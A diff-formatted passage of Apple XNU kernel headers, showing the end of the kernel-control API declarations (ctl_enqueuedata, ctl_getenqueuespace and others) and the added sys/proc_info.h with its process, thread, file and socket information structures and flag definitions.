|
||||
@result 0 - Data was enqueued to be read by the client.
|
||||
EINVAL - Invalid parameters.
|
||||
EMSGSIZE - The buffer is too large.
|
||||
ENOBUFS - The queue is full or there are no free mbufs.
|
||||
*/
|
||||
errno_t
|
||||
ctl_enqueuedata(kern_ctl_ref kctlref, u_int32_t unit, void *data, size_t len, u_int32_t flags);
|
||||
|
||||
/*!
|
||||
@function ctl_enqueuembuf
|
||||
@discussion Send data stored in an mbuf chain from the kernel
|
||||
control to the client. The caller is responsible for freeing
|
||||
the mbuf chain if ctl_enqueuembuf returns an error.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param m An mbuf chain containing the data to send to the client.
|
||||
@param flags Send flags. CTL_DATA_NOWAKEUP and CTL_DATA_EOR are currently
|
||||
the only supported flags.
|
||||
@result 0 - Data was enqueued to be read by the client.
|
||||
EINVAL - Invalid parameters.
|
||||
ENOBUFS - The queue is full.
|
||||
*/
|
||||
errno_t
|
||||
ctl_enqueuembuf(kern_ctl_ref kctlref, u_int32_t unit, mbuf_t m, u_int32_t flags);
|
||||
|
||||
#ifdef PRIVATE
|
||||
/*!
|
||||
@function ctl_enqueuembuf_list
|
||||
@discussion Send data stored in an mbuf packet chain from the kernel
|
||||
control to the client. The caller is responsible for freeing
|
||||
the mbuf chain if ctl_enqueuembuf returns an error.
|
||||
Not valid if ctl_flags contains CTL_FLAG_REG_SOCK_STREAM.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param m_list An mbuf chain containing the data to send to the client.
|
||||
@param flags Send flags. CTL_DATA_NOWAKEUP is
|
||||
the only supported flags.
|
||||
@param m_remain A pointer to the list of mbuf packets in the chain that
|
||||
could not be enqueued.
|
||||
@result 0 - Data was enqueued to be read by the client.
|
||||
EINVAL - Invalid parameters.
|
||||
ENOBUFS - The queue is full.
|
||||
*/
|
||||
errno_t
|
||||
ctl_enqueuembuf_list(kern_ctl_ref kctlref, u_int32_t unit, mbuf_t m_list,
|
||||
u_int32_t flags, mbuf_t *m_remain);
|
||||
|
||||
/*!
|
||||
@function ctl_getenqueuepacketcount
|
||||
@discussion Retrieve the number of packets in the socket
|
||||
receive buffer.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param pcnt The address where to return the current count.
|
||||
@result 0 - Success; the packet count is returned to caller.
|
||||
EINVAL - Invalid parameters.
|
||||
*/
|
||||
errno_t
|
||||
ctl_getenqueuepacketcount(kern_ctl_ref kctlref, u_int32_t unit, u_int32_t *pcnt);
|
||||
|
||||
#endif /* PRIVATE */
|
||||
|
||||
/*!
|
||||
@function ctl_getenqueuespace
|
||||
@discussion Retrieve the amount of space currently available for data to be sent
|
||||
from the kernel control to the client.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param space The address where to return the current space available
|
||||
@result 0 - Success; the amount of space is returned to caller.
|
||||
EINVAL - Invalid parameters.
|
||||
*/
|
||||
errno_t
|
||||
ctl_getenqueuespace(kern_ctl_ref kctlref, u_int32_t unit, size_t *space);
|
||||
|
||||
/*!
|
||||
@function ctl_getenqueuereadable
|
||||
@discussion Retrieve the difference between enqueued bytes and
|
||||
low-water mark for the socket receive buffer.
|
||||
@param kctlref The control reference of the kernel control.
|
||||
@param unit The unit number of the kernel control instance.
|
||||
@param difference The address at which to return the current difference
|
||||
between the low-water mark for the socket and the number of bytes
|
||||
enqueued. 0 indicates that the socket is readable by the client
|
||||
(the number of bytes in the buffer is above the low-water mark).
|
||||
@result 0 - Success; the difference is returned to caller.
|
||||
EINVAL - Invalid parameters.
|
||||
*/
|
||||
errno_t
|
||||
ctl_getenqueuereadable(kern_ctl_ref kctlref, u_int32_t unit, u_int32_t *difference);
|
||||
|
||||
#ifdef KERNEL_PRIVATE
|
||||
|
||||
#include <sys/queue.h>
|
||||
#include <libkern/locks.h>
|
||||
|
||||
/*
|
||||
* internal structure maintained for each register controller
|
||||
*/
|
||||
struct ctl_cb;
|
||||
struct kctl;
|
||||
struct socket;
|
||||
struct socket_info;
|
||||
|
||||
void kctl_fill_socketinfo(struct socket *, struct socket_info *);
|
||||
|
||||
u_int32_t ctl_id_by_name(const char *name);
|
||||
errno_t ctl_name_by_id(u_int32_t id, char *out_name, size_t maxsize);
|
||||
#endif /* KERNEL_PRIVATE */
|
||||
|
||||
__END_DECLS
|
||||
#endif /* KERNEL */
|
||||
|
||||
#endif /* KPI_KERN_CONTROL_H */
|
||||
|
||||
@@ -0,0 +1,967 @@
|
||||
/*
|
||||
* Copyright (c) 2005-2017 Apple Computer, Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
|
||||
#ifndef _SYS_PROC_INFO_H
|
||||
#define _SYS_PROC_INFO_H
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mount.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/kern_control.h>
|
||||
#include <sys/event.h>
|
||||
#include <net/if.h>
|
||||
#include <net/route.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <mach/machine.h>
|
||||
#include <uuid/uuid.h>
|
||||
|
||||
#ifdef PRIVATE
|
||||
#include <mach/coalition.h> /* COALITION_NUM_TYPES */
|
||||
#endif
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
|
||||
#define PROC_ALL_PIDS 1
|
||||
#define PROC_PGRP_ONLY 2
|
||||
#define PROC_TTY_ONLY 3
|
||||
#define PROC_UID_ONLY 4
|
||||
#define PROC_RUID_ONLY 5
|
||||
#define PROC_PPID_ONLY 6
|
||||
#define PROC_KDBG_ONLY 7
|
||||
|
||||
struct proc_bsdinfo {
|
||||
uint32_t pbi_flags; /* 64bit; emulated etc */
|
||||
uint32_t pbi_status;
|
||||
uint32_t pbi_xstatus;
|
||||
uint32_t pbi_pid;
|
||||
uint32_t pbi_ppid;
|
||||
uid_t pbi_uid;
|
||||
gid_t pbi_gid;
|
||||
uid_t pbi_ruid;
|
||||
gid_t pbi_rgid;
|
||||
uid_t pbi_svuid;
|
||||
gid_t pbi_svgid;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
char pbi_comm[MAXCOMLEN];
|
||||
char pbi_name[2*MAXCOMLEN]; /* empty if no name is registered */
|
||||
uint32_t pbi_nfiles;
|
||||
uint32_t pbi_pgid;
|
||||
uint32_t pbi_pjobc;
|
||||
uint32_t e_tdev; /* controlling tty dev */
|
||||
uint32_t e_tpgid; /* tty process group id */
|
||||
int32_t pbi_nice;
|
||||
uint64_t pbi_start_tvsec;
|
||||
uint64_t pbi_start_tvusec;
|
||||
};
|
||||
|
||||
|
||||
struct proc_bsdshortinfo {
|
||||
uint32_t pbsi_pid; /* process id */
|
||||
uint32_t pbsi_ppid; /* process parent id */
|
||||
uint32_t pbsi_pgid; /* process perp id */
|
||||
uint32_t pbsi_status; /* p_stat value, SZOMB, SRUN, etc */
|
||||
char pbsi_comm[MAXCOMLEN]; /* upto 16 characters of process name */
|
||||
uint32_t pbsi_flags; /* 64bit; emulated etc */
|
||||
uid_t pbsi_uid; /* current uid on process */
|
||||
gid_t pbsi_gid; /* current gid on process */
|
||||
uid_t pbsi_ruid; /* current ruid on process */
|
||||
gid_t pbsi_rgid; /* current tgid on process */
|
||||
uid_t pbsi_svuid; /* current svuid on process */
|
||||
gid_t pbsi_svgid; /* current svgid on process */
|
||||
uint32_t pbsi_rfu; /* reserved for future use*/
|
||||
};
|
||||
|
||||
|
||||
#ifdef PRIVATE
|
||||
struct proc_uniqidentifierinfo {
|
||||
uint8_t p_uuid[16]; /* UUID of the main executable */
|
||||
uint64_t p_uniqueid; /* 64 bit unique identifier for process */
|
||||
uint64_t p_puniqueid; /* unique identifier for process's parent */
|
||||
uint64_t p_reserve2; /* reserved for future use */
|
||||
uint64_t p_reserve3; /* reserved for future use */
|
||||
uint64_t p_reserve4; /* reserved for future use */
|
||||
};
|
||||
|
||||
|
||||
struct proc_bsdinfowithuniqid {
|
||||
struct proc_bsdinfo pbsd;
|
||||
struct proc_uniqidentifierinfo p_uniqidentifier;
|
||||
};
|
||||
|
||||
struct proc_archinfo {
|
||||
cpu_type_t p_cputype;
|
||||
cpu_subtype_t p_cpusubtype;
|
||||
};
|
||||
|
||||
struct proc_pidcoalitioninfo {
|
||||
uint64_t coalition_id[COALITION_NUM_TYPES];
|
||||
uint64_t reserved1;
|
||||
uint64_t reserved2;
|
||||
uint64_t reserved3;
|
||||
};
|
||||
|
||||
struct proc_originatorinfo {
|
||||
uuid_t originator_uuid; /* UUID of the originator process */
|
||||
pid_t originator_pid; /* pid of the originator process */
|
||||
uint64_t p_reserve2;
|
||||
uint64_t p_reserve3;
|
||||
uint64_t p_reserve4;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
/* pbi_flags values */
|
||||
#define PROC_FLAG_SYSTEM 1 /* System process */
|
||||
#define PROC_FLAG_TRACED 2 /* process currently being traced, possibly by gdb */
|
||||
#define PROC_FLAG_INEXIT 4 /* process is working its way in exit() */
|
||||
#define PROC_FLAG_PPWAIT 8
|
||||
#define PROC_FLAG_LP64 0x10 /* 64bit process */
|
||||
#define PROC_FLAG_SLEADER 0x20 /* The process is the session leader */
|
||||
#define PROC_FLAG_CTTY 0x40 /* process has a control tty */
|
||||
#define PROC_FLAG_CONTROLT 0x80 /* Has a controlling terminal */
|
||||
#define PROC_FLAG_THCWD 0x100 /* process has a thread with cwd */
|
||||
/* process control bits for resource starvation */
|
||||
#define PROC_FLAG_PC_THROTTLE 0x200 /* In resource starvation situations, this process is to be throttled */
|
||||
#define PROC_FLAG_PC_SUSP 0x400 /* In resource starvation situations, this process is to be suspended */
|
||||
#define PROC_FLAG_PC_KILL 0x600 /* In resource starvation situations, this process is to be terminated */
|
||||
#define PROC_FLAG_PC_MASK 0x600
|
||||
/* process action bits for resource starvation */
|
||||
#define PROC_FLAG_PA_THROTTLE 0x800 /* The process is currently throttled due to resource starvation */
|
||||
#define PROC_FLAG_PA_SUSP 0x1000 /* The process is currently suspended due to resource starvation */
|
||||
#define PROC_FLAG_PSUGID 0x2000 /* process has set privileges since last exec */
|
||||
#define PROC_FLAG_EXEC 0x4000 /* process has called exec */
|
||||
#ifdef PRIVATE
|
||||
#define PROC_FLAG_DARWINBG 0x8000 /* process in darwin background */
|
||||
#define PROC_FLAG_EXT_DARWINBG 0x10000 /* process in darwin background - external enforcement */
|
||||
#define PROC_FLAG_IOS_APPLEDAEMON 0x20000 /* Process is apple daemon */
|
||||
#define PROC_FLAG_DELAYIDLESLEEP 0x40000 /* Process is marked to delay idle sleep on disk IO */
|
||||
#define PROC_FLAG_IOS_IMPPROMOTION 0x80000 /* Process is daemon which receives importane donation */
|
||||
#define PROC_FLAG_ADAPTIVE 0x100000 /* Process is adaptive */
|
||||
#define PROC_FLAG_ADAPTIVE_IMPORTANT 0x200000 /* Process is adaptive, and is currently important */
|
||||
#define PROC_FLAG_IMPORTANCE_DONOR 0x400000 /* Process is marked as an importance donor */
|
||||
#define PROC_FLAG_SUPPRESSED 0x800000 /* Process is suppressed */
|
||||
#define PROC_FLAG_APPLICATION 0x1000000 /* Process is an application */
|
||||
#define PROC_FLAG_IOS_APPLICATION PROC_FLAG_APPLICATION /* Process is an application */
|
||||
#endif
|
||||
|
||||
|
||||
struct proc_taskinfo {
|
||||
uint64_t pti_virtual_size; /* virtual memory size (bytes) */
|
||||
uint64_t pti_resident_size; /* resident memory size (bytes) */
|
||||
uint64_t pti_total_user; /* total time */
|
||||
uint64_t pti_total_system;
|
||||
uint64_t pti_threads_user; /* existing threads only */
|
||||
uint64_t pti_threads_system;
|
||||
int32_t pti_policy; /* default policy for new threads */
|
||||
int32_t pti_faults; /* number of page faults */
|
||||
int32_t pti_pageins; /* number of actual pageins */
|
||||
int32_t pti_cow_faults; /* number of copy-on-write faults */
|
||||
int32_t pti_messages_sent; /* number of messages sent */
|
||||
int32_t pti_messages_received; /* number of messages received */
|
||||
int32_t pti_syscalls_mach; /* number of mach system calls */
|
||||
int32_t pti_syscalls_unix; /* number of unix system calls */
|
||||
int32_t pti_csw; /* number of context switches */
|
||||
int32_t pti_threadnum; /* number of threads in the task */
|
||||
int32_t pti_numrunning; /* number of running threads */
|
||||
int32_t pti_priority; /* task priority*/
|
||||
};
|
||||
|
||||
struct proc_taskallinfo {
|
||||
struct proc_bsdinfo pbsd;
|
||||
struct proc_taskinfo ptinfo;
|
||||
};
|
||||
|
||||
#define MAXTHREADNAMESIZE 64
|
||||
|
||||
struct proc_threadinfo {
|
||||
uint64_t pth_user_time; /* user run time */
|
||||
uint64_t pth_system_time; /* system run time */
|
||||
int32_t pth_cpu_usage; /* scaled cpu usage percentage */
|
||||
int32_t pth_policy; /* scheduling policy in effect */
|
||||
int32_t pth_run_state; /* run state (see below) */
|
||||
int32_t pth_flags; /* various flags (see below) */
|
||||
int32_t pth_sleep_time; /* number of seconds that thread */
|
||||
int32_t pth_curpri; /* cur priority*/
|
||||
int32_t pth_priority; /* priority*/
|
||||
int32_t pth_maxpriority; /* max priority*/
|
||||
char pth_name[MAXTHREADNAMESIZE]; /* thread name, if any */
|
||||
};
|
||||
|
||||
struct proc_regioninfo {
|
||||
uint32_t pri_protection;
|
||||
uint32_t pri_max_protection;
|
||||
uint32_t pri_inheritance;
|
||||
uint32_t pri_flags; /* shared, external pager, is submap */
|
||||
uint64_t pri_offset;
|
||||
uint32_t pri_behavior;
|
||||
uint32_t pri_user_wired_count;
|
||||
uint32_t pri_user_tag;
|
||||
uint32_t pri_pages_resident;
|
||||
uint32_t pri_pages_shared_now_private;
|
||||
uint32_t pri_pages_swapped_out;
|
||||
uint32_t pri_pages_dirtied;
|
||||
uint32_t pri_ref_count;
|
||||
uint32_t pri_shadow_depth;
|
||||
uint32_t pri_share_mode;
|
||||
uint32_t pri_private_pages_resident;
|
||||
uint32_t pri_shared_pages_resident;
|
||||
uint32_t pri_obj_id;
|
||||
uint32_t pri_depth;
|
||||
uint64_t pri_address;
|
||||
uint64_t pri_size;
|
||||
};
|
||||
|
||||
#define PROC_REGION_SUBMAP 1
|
||||
#define PROC_REGION_SHARED 2
|
||||
|
||||
#define SM_COW 1
|
||||
#define SM_PRIVATE 2
|
||||
#define SM_EMPTY 3
|
||||
#define SM_SHARED 4
|
||||
#define SM_TRUESHARED 5
|
||||
#define SM_PRIVATE_ALIASED 6
|
||||
#define SM_SHARED_ALIASED 7
|
||||
#define SM_LARGE_PAGE 8
|
||||
|
||||
|
||||
/*
|
||||
* Thread run states (state field).
|
||||
*/
|
||||
|
||||
#define TH_STATE_RUNNING 1 /* thread is running normally */
|
||||
#define TH_STATE_STOPPED 2 /* thread is stopped */
|
||||
#define TH_STATE_WAITING 3 /* thread is waiting normally */
|
||||
#define TH_STATE_UNINTERRUPTIBLE 4 /* thread is in an uninterruptible
|
||||
wait */
|
||||
#define TH_STATE_HALTED 5 /* thread is halted at a
|
||||
clean point */
|
||||
|
||||
/*
|
||||
* Thread flags (flags field).
|
||||
*/
|
||||
#define TH_FLAGS_SWAPPED 0x1 /* thread is swapped out */
|
||||
#define TH_FLAGS_IDLE 0x2 /* thread is an idle thread */
|
||||
|
||||
|
||||
struct proc_workqueueinfo {
|
||||
uint32_t pwq_nthreads; /* total number of workqueue threads */
|
||||
uint32_t pwq_runthreads; /* total number of running workqueue threads */
|
||||
uint32_t pwq_blockedthreads; /* total number of blocked workqueue threads */
|
||||
uint32_t pwq_state;
|
||||
};
|
||||
|
||||
/*
|
||||
* workqueue state (pwq_state field)
|
||||
*/
|
||||
#define WQ_EXCEEDED_CONSTRAINED_THREAD_LIMIT 0x1
|
||||
#define WQ_EXCEEDED_TOTAL_THREAD_LIMIT 0x2
|
||||
#define WQ_FLAGS_AVAILABLE 0x4
|
||||
|
||||
struct proc_fileinfo {
|
||||
uint32_t fi_openflags;
|
||||
uint32_t fi_status;
|
||||
off_t fi_offset;
|
||||
int32_t fi_type;
|
||||
uint32_t fi_guardflags;
|
||||
};
|
||||
|
||||
/* stats flags in proc_fileinfo */
|
||||
#define PROC_FP_SHARED 1 /* shared by more than one fd */
|
||||
#define PROC_FP_CLEXEC 2 /* close on exec */
|
||||
#define PROC_FP_GUARDED 4 /* guarded fd */
|
||||
#define PROC_FP_CLFORK 8 /* close on fork */
|
||||
|
||||
#define PROC_FI_GUARD_CLOSE (1u << 0)
|
||||
#define PROC_FI_GUARD_DUP (1u << 1)
|
||||
#define PROC_FI_GUARD_SOCKET_IPC (1u << 2)
|
||||
#define PROC_FI_GUARD_FILEPORT (1u << 3)
|
||||
|
||||
struct proc_exitreasonbasicinfo {
|
||||
uint32_t beri_namespace;
|
||||
uint64_t beri_code;
|
||||
uint64_t beri_flags;
|
||||
uint32_t beri_reason_buf_size;
|
||||
} __attribute__((packed));
|
||||
|
||||
struct proc_exitreasoninfo {
|
||||
uint32_t eri_namespace;
|
||||
uint64_t eri_code;
|
||||
uint64_t eri_flags;
|
||||
uint32_t eri_reason_buf_size;
|
||||
uint64_t eri_kcd_buf;
|
||||
} __attribute__((packed));
|
||||
|
||||
/*
|
||||
* A copy of stat64 with static sized fields.
|
||||
*/
|
||||
struct vinfo_stat {
|
||||
uint32_t vst_dev; /* [XSI] ID of device containing file */
|
||||
uint16_t vst_mode; /* [XSI] Mode of file (see below) */
|
||||
uint16_t vst_nlink; /* [XSI] Number of hard links */
|
||||
uint64_t vst_ino; /* [XSI] File serial number */
|
||||
uid_t vst_uid; /* [XSI] User ID of the file */
|
||||
gid_t vst_gid; /* [XSI] Group ID of the file */
|
||||
int64_t vst_atime; /* [XSI] Time of last access */
|
||||
int64_t vst_atimensec; /* nsec of last access */
|
||||
int64_t vst_mtime; /* [XSI] Last data modification time */
|
||||
int64_t vst_mtimensec; /* last data modification nsec */
|
||||
int64_t vst_ctime; /* [XSI] Time of last status change */
|
||||
int64_t vst_ctimensec; /* nsec of last status change */
|
||||
int64_t vst_birthtime; /* File creation time(birth) */
|
||||
int64_t vst_birthtimensec; /* nsec of File creation time */
|
||||
off_t vst_size; /* [XSI] file size, in bytes */
|
||||
int64_t vst_blocks; /* [XSI] blocks allocated for file */
|
||||
int32_t vst_blksize; /* [XSI] optimal blocksize for I/O */
|
||||
uint32_t vst_flags; /* user defined flags for file */
|
||||
uint32_t vst_gen; /* file generation number */
|
||||
uint32_t vst_rdev; /* [XSI] Device ID */
|
||||
int64_t vst_qspare[2]; /* RESERVED: DO NOT USE! */
|
||||
};
|
||||
|
||||
struct vnode_info {
|
||||
struct vinfo_stat vi_stat;
|
||||
int vi_type;
|
||||
int vi_pad;
|
||||
fsid_t vi_fsid;
|
||||
};
|
||||
|
||||
struct vnode_info_path {
|
||||
struct vnode_info vip_vi;
|
||||
char vip_path[MAXPATHLEN]; /* tail end of it */
|
||||
};
|
||||
|
||||
struct vnode_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct vnode_info pvi;
|
||||
};
|
||||
|
||||
struct vnode_fdinfowithpath {
|
||||
struct proc_fileinfo pfi;
|
||||
struct vnode_info_path pvip;
|
||||
};
|
||||
|
||||
struct proc_regionwithpathinfo {
|
||||
struct proc_regioninfo prp_prinfo;
|
||||
struct vnode_info_path prp_vip;
|
||||
};
|
||||
|
||||
struct proc_vnodepathinfo {
|
||||
struct vnode_info_path pvi_cdir;
|
||||
struct vnode_info_path pvi_rdir;
|
||||
};
|
||||
|
||||
struct proc_threadwithpathinfo {
|
||||
struct proc_threadinfo pt;
|
||||
struct vnode_info_path pvip;
|
||||
};
|
||||
|
||||
/*
|
||||
* Socket
|
||||
*/
|
||||
|
||||
|
||||
/*
|
||||
* IPv4 and IPv6 Sockets
|
||||
*/
|
||||
|
||||
#define INI_IPV4 0x1
|
||||
#define INI_IPV6 0x2
|
||||
|
||||
struct in4in6_addr {
|
||||
u_int32_t i46a_pad32[3];
|
||||
struct in_addr i46a_addr4;
|
||||
};
|
||||
|
||||
struct in_sockinfo {
|
||||
int insi_fport; /* foreign port */
|
||||
int insi_lport; /* local port */
|
||||
uint64_t insi_gencnt; /* generation count of this instance */
|
||||
uint32_t insi_flags; /* generic IP/datagram flags */
|
||||
uint32_t insi_flow;
|
||||
|
||||
uint8_t insi_vflag; /* ini_IPV4 or ini_IPV6 */
|
||||
uint8_t insi_ip_ttl; /* time to live proto */
|
||||
uint32_t rfu_1; /* reserved */
|
||||
/* protocol dependent part */
|
||||
union {
|
||||
struct in4in6_addr ina_46;
|
||||
struct in6_addr ina_6;
|
||||
} insi_faddr; /* foreign host table entry */
|
||||
union {
|
||||
struct in4in6_addr ina_46;
|
||||
struct in6_addr ina_6;
|
||||
} insi_laddr; /* local host table entry */
|
||||
struct {
|
||||
u_char in4_tos; /* type of service */
|
||||
} insi_v4;
|
||||
struct {
|
||||
uint8_t in6_hlim;
|
||||
int in6_cksum;
|
||||
u_short in6_ifindex;
|
||||
short in6_hops;
|
||||
} insi_v6;
|
||||
};
|
||||
|
||||
/*
|
||||
* TCP Sockets
|
||||
*/
|
||||
|
||||
#define TSI_T_REXMT 0 /* retransmit */
|
||||
#define TSI_T_PERSIST 1 /* retransmit persistence */
|
||||
#define TSI_T_KEEP 2 /* keep alive */
|
||||
#define TSI_T_2MSL 3 /* 2*msl quiet time timer */
|
||||
#define TSI_T_NTIMERS 4
|
||||
|
||||
#define TSI_S_CLOSED 0 /* closed */
|
||||
#define TSI_S_LISTEN 1 /* listening for connection */
|
||||
#define TSI_S_SYN_SENT 2 /* active, have sent syn */
|
||||
#define TSI_S_SYN_RECEIVED 3 /* have send and received syn */
|
||||
#define TSI_S_ESTABLISHED 4 /* established */
|
||||
#define TSI_S__CLOSE_WAIT 5 /* rcvd fin, waiting for close */
|
||||
#define TSI_S_FIN_WAIT_1 6 /* have closed, sent fin */
|
||||
#define TSI_S_CLOSING 7 /* closed xchd FIN; await FIN ACK */
|
||||
#define TSI_S_LAST_ACK 8 /* had fin and close; await FIN ACK */
|
||||
#define TSI_S_FIN_WAIT_2 9 /* have closed, fin is acked */
|
||||
#define TSI_S_TIME_WAIT 10 /* in 2*msl quiet wait after close */
|
||||
#define TSI_S_RESERVED 11 /* pseudo state: reserved */
|
||||
|
||||
struct tcp_sockinfo {
|
||||
struct in_sockinfo tcpsi_ini;
|
||||
int tcpsi_state;
|
||||
int tcpsi_timer[TSI_T_NTIMERS];
|
||||
int tcpsi_mss;
|
||||
uint32_t tcpsi_flags;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
uint64_t tcpsi_tp; /* opaque handle of TCP protocol control block */
|
||||
};
|
||||
|
||||
/*
|
||||
* Unix Domain Sockets
|
||||
*/
|
||||
|
||||
|
||||
struct un_sockinfo {
|
||||
uint64_t unsi_conn_so; /* opaque handle of connected socket */
|
||||
uint64_t unsi_conn_pcb; /* opaque handle of connected protocol control block */
|
||||
union {
|
||||
struct sockaddr_un ua_sun;
|
||||
char ua_dummy[SOCK_MAXADDRLEN];
|
||||
} unsi_addr; /* bound address */
|
||||
union {
|
||||
struct sockaddr_un ua_sun;
|
||||
char ua_dummy[SOCK_MAXADDRLEN];
|
||||
} unsi_caddr; /* address of socket connected to */
|
||||
};
|
||||
|
||||
/*
|
||||
* PF_NDRV Sockets
|
||||
*/
|
||||
|
||||
struct ndrv_info {
|
||||
uint32_t ndrvsi_if_family;
|
||||
uint32_t ndrvsi_if_unit;
|
||||
char ndrvsi_if_name[IF_NAMESIZE];
|
||||
};
|
||||
|
||||
/*
|
||||
* Kernel Event Sockets
|
||||
*/
|
||||
|
||||
struct kern_event_info {
|
||||
uint32_t kesi_vendor_code_filter;
|
||||
uint32_t kesi_class_filter;
|
||||
uint32_t kesi_subclass_filter;
|
||||
};
|
||||
|
||||
/*
|
||||
* Kernel Control Sockets
|
||||
*/
|
||||
|
||||
struct kern_ctl_info {
|
||||
uint32_t kcsi_id;
|
||||
uint32_t kcsi_reg_unit;
|
||||
uint32_t kcsi_flags; /* support flags */
|
||||
uint32_t kcsi_recvbufsize; /* request more than the default buffer size */
|
||||
uint32_t kcsi_sendbufsize; /* request more than the default buffer size */
|
||||
uint32_t kcsi_unit;
|
||||
char kcsi_name[MAX_KCTL_NAME]; /* unique nke identifier, provided by DTS */
|
||||
};
|
||||
|
||||
/* soi_state */
|
||||
|
||||
#define SOI_S_NOFDREF 0x0001 /* no file table ref any more */
|
||||
#define SOI_S_ISCONNECTED 0x0002 /* socket connected to a peer */
|
||||
#define SOI_S_ISCONNECTING 0x0004 /* in process of connecting to peer */
|
||||
#define SOI_S_ISDISCONNECTING 0x0008 /* in process of disconnecting */
|
||||
#define SOI_S_CANTSENDMORE 0x0010 /* can't send more data to peer */
|
||||
#define SOI_S_CANTRCVMORE 0x0020 /* can't receive more data from peer */
|
||||
#define SOI_S_RCVATMARK 0x0040 /* at mark on input */
|
||||
#define SOI_S_PRIV 0x0080 /* privileged for broadcast, raw... */
|
||||
#define SOI_S_NBIO 0x0100 /* non-blocking ops */
|
||||
#define SOI_S_ASYNC 0x0200 /* async i/o notify */
|
||||
#define SOI_S_INCOMP 0x0800 /* Unaccepted, incomplete connection */
|
||||
#define SOI_S_COMP 0x1000 /* unaccepted, complete connection */
|
||||
#define SOI_S_ISDISCONNECTED 0x2000 /* socket disconnected from peer */
|
||||
#define SOI_S_DRAINING 0x4000 /* close waiting for blocked system calls to drain */
|
||||
|
||||
struct sockbuf_info {
|
||||
uint32_t sbi_cc;
|
||||
uint32_t sbi_hiwat; /* SO_RCVBUF, SO_SNDBUF */
|
||||
uint32_t sbi_mbcnt;
|
||||
uint32_t sbi_mbmax;
|
||||
uint32_t sbi_lowat;
|
||||
short sbi_flags;
|
||||
short sbi_timeo;
|
||||
};
|
||||
|
||||
enum {
|
||||
SOCKINFO_GENERIC = 0,
|
||||
SOCKINFO_IN = 1,
|
||||
SOCKINFO_TCP = 2,
|
||||
SOCKINFO_UN = 3,
|
||||
SOCKINFO_NDRV = 4,
|
||||
SOCKINFO_KERN_EVENT = 5,
|
||||
SOCKINFO_KERN_CTL = 6
|
||||
};
|
||||
|
||||
struct socket_info {
|
||||
struct vinfo_stat soi_stat;
|
||||
uint64_t soi_so; /* opaque handle of socket */
|
||||
uint64_t soi_pcb; /* opaque handle of protocol control block */
|
||||
int soi_type;
|
||||
int soi_protocol;
|
||||
int soi_family;
|
||||
short soi_options;
|
||||
short soi_linger;
|
||||
short soi_state;
|
||||
short soi_qlen;
|
||||
short soi_incqlen;
|
||||
short soi_qlimit;
|
||||
short soi_timeo;
|
||||
u_short soi_error;
|
||||
uint32_t soi_oobmark;
|
||||
struct sockbuf_info soi_rcv;
|
||||
struct sockbuf_info soi_snd;
|
||||
int soi_kind;
|
||||
uint32_t rfu_1; /* reserved */
|
||||
union {
|
||||
struct in_sockinfo pri_in; /* SOCKINFO_IN */
|
||||
struct tcp_sockinfo pri_tcp; /* SOCKINFO_TCP */
|
||||
struct un_sockinfo pri_un; /* SOCKINFO_UN */
|
||||
struct ndrv_info pri_ndrv; /* SOCKINFO_NDRV */
|
||||
struct kern_event_info pri_kern_event; /* SOCKINFO_KERN_EVENT */
|
||||
struct kern_ctl_info pri_kern_ctl; /* SOCKINFO_KERN_CTL */
|
||||
} soi_proto;
|
||||
};
|
||||
|
||||
struct socket_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct socket_info psi;
|
||||
};
|
||||
|
||||
|
||||
|
||||
struct psem_info {
|
||||
struct vinfo_stat psem_stat;
|
||||
char psem_name[MAXPATHLEN];
|
||||
};
|
||||
|
||||
struct psem_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct psem_info pseminfo;
|
||||
};
|
||||
|
||||
|
||||
|
||||
struct pshm_info {
|
||||
struct vinfo_stat pshm_stat;
|
||||
uint64_t pshm_mappaddr;
|
||||
char pshm_name[MAXPATHLEN];
|
||||
};
|
||||
|
||||
struct pshm_fdinfo {
|
||||
struct proc_fileinfo pfi;
|
||||
struct pshm_info pshminfo;
|
||||
};
|
||||
|
||||
|
||||
struct pipe_info {
|
||||
struct vinfo_stat pipe_stat;
|
||||
uint64_t pipe_handle;
|
||||
uint64_t pipe_peerhandle;
|
||||
int pipe_status;
|
||||
int rfu_1; /* reserved */
|
||||
};
|
||||
|
||||
